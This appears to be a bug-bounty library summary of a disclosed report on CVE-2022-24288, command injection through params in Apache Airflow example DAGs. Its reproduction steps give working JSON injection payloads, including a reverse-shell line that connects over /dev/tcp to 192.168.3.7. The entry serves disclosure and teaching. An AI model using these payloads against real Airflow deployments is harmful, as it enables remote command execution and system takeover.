# CVE-2022-24288: Apache Airflow: TWO RCEs in example DAGs

Airflow example DAGs rendered user-supplied params into BashOperator bash_command via Jinja2, allowing OS command injection from the web UI trigger.

- Payout: hidden
- Severity: high
- Program: Internet Bug Bounty
- Found by (vendor credit): Kai Zhao of the TToU Security Team
- Found by: x_h1
- Disclosed: 2022-04-01
- CVE: CVE-2022-24288
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1492896
- Library page: https://bugbountylibrary.com/r/h1%3A1492896
- Tags: area:web domain:web impact:internal-access impact:rce kind:bounty platform:hackerone sev:high tech:python technique:source-review vuln:command-injection vuln:rce

**Target:** Airflow web UI DAG trigger endpoint (example DAGs)
**Root cause:** Example DAGs (example_passing_params_via_test_command.py, tutorial.py) interpolate externally controllable params ({{params.foo}}, {{params.my_param}}) into BashOperator bash_command, which is executed as a bash script without sanitization.
**Steps:**
1. Enable examples (load_examples=True) and open the DAGs menu.
2. Trigger DAG w/ config at `/trigger?dag_id=example_passing_params_via_test_command`.
3. Submit payload `{"foo":"\";touch /tmp/pwnedaaaaa;\""}` to break out of the quoted string and append a command.
4. Confirm execution via task log and `/tmp/pwnedaaaaa`.
5. Escalate with reverse shell payload `{"foo":"\";bash -i >& /dev/tcp/192.168.3.7/6666 0>&1;\""}`.
6. Repeat on tutorial DAG with `{"my_param":"\";touch /tmp/pwnedddddd;\""}`.
**How found:** Source review of example DAG scripts: noticed params rendered through Jinja2 into BashOperator bash_command, then traced that bash_command is executed as a bash script.
**Exploitation:** Attacker with access to the Airflow web UI (unauthenticated if configured so) triggers the example DAG with a crafted JSON config; the param is Jinja2-rendered into bash_command and executed by BashOperator, yielding OS command execution and a reverse shell.
**Escalation:** From arbitrary command execution to full OS shell via reverse shell payload.
**Insight:** Example/sample DAGs shipped with workflow tools often interpolate user params into shell operators; check bundled examples for template-to-shell sinks even when core code is hardened.